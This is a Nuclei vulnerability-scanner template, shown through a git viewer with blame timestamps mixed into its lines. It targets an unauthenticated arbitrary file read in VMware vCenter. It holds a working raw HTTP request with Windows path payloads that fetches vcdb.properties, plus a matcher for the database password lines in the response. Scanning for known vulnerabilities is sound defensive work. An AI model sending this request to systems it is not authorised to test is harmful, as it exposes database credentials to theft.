nuclei-templates/vulnerabilities/vmware-vcenter-lfi.yaml

36 lines
1.1 KiB
YAML
Raw Normal View History

id: vmware-vcenter-lfi
info:
name: VMware vCenter Unauthenticated Arbitrary File Read
author: dwisiswant0
severity: high
2020-10-13 16:02:26 +00:00
2020-10-13 16:04:12 +00:00
# Reference:-
# https://twitter.com/ptswarm/status/1316016337550938122
# https://kb.vmware.com/s/article/7960893
requests:
2020-10-13 14:55:29 +00:00
- payloads:
path:
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
attack: sniper
raw:
- |
GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
2020-10-13 14:55:29 +00:00
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
Accept: */*
Accept-Language: en
Connection: close
matchers-condition: and
matchers:
- type: regex
regex:
2020-10-13 15:51:29 +00:00
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
part: body
- type: status
status:
- 200